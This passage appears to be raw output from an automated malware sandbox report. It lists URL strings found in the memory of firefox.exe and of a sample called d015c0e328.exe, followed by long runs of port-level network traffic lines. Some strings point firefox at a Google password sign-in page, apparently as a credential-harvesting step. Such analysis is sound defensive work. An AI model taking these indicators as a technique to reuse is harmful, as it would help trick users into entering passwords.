Source: firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000003.2728645310.00000209A8464000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/bound
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3DAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2729096941.00000209A9185000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2731455941.00000209A930D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: d015c0e328.exe, 00000007.00000003.2511775357.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2647615731.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarPrefs.sys.mjsresource://gre/modules/Ke
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentA
Source: d015c0e328.exe, 00000007.00000003.2511775357.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2647615731.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2752859733.00000000054A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2775417084.0000001E000BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023823448.00000209AFB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000019.00000002.2961463851.00000209AA1AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.2959507952.00000209AA05B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2995392168.00000209AA703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000019.00000002.2961463851.00000209AA1AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2608668003.00000163738C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2616696992.0000023C6A7AF000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2793733259.00000209979E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdA
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdError
Source: firefox.exe, 00000019.00000002.2876719216.00000209A788A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2799354535.000002099955B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://a581
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_addSuggestedIndexResults/
Source: firefox.exe, 00000019.00000003.2726569286.00000209AA1C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comP

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
